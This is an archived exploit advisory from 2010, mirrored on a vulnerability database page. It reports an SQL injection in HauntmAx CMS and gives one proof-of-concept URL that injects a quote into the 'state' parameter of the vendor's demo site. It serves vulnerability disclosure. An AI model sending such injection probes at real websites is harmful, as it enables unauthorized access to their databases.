Lucene search
K

HauntmAx CMS SQL Injection Vulnerability

🗓️ 09 Jun 2010 00:00:00Reported by Sid3^effectsType 
zdt
 zdt
🔗 0day.today👁 17 Views

HauntmAx CMS SQL Injection Vulnerability. CMS allows creation of Haunted House Directory website without coding. Users can update listings. Exploitable via demo URL

Code
========================================
HauntmAx CMS SQL Injection Vulnerability
========================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : HauntmAx CMS SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://www.hauntmax.com/
Platform: Linux,Windows
Price: $200
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:

HauntmAx CMS Haunted House Directory Listing

     * Visit Publisher Site
     * Need help with this script?
     * Hire a Hot Scripts Consultant

HauntmAx CMS is the first Content Management System of its kind that lets you build your own Haunted House Directory web site without having

to write code from scratch. Easy menu driven web builder allows you to create a local area, state, country or even global listing with an

automated user input system. Haunt owners can update their own listing with authorized account management capabilities. Make Money!!! *

Selling Advertising * Selling Prime Haunt Listing Space * Drive Traffic to Your Site Or just provide a needed service to the haunt community

near you. HauntmAx CMS can have your Haunted House Directory up and running in no time at all.

###############################################################################################################

Xploit: SQLi Vulnerability

DEMO  URL :http://www.hauntmax.com/demo/index.php?c_action=listings&state=%272

###############################################################################################################
# 0day no more
# Sid3^effects 



#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jun 2010 00:00Current
7.1High risk
Vulners AI Score7.1
17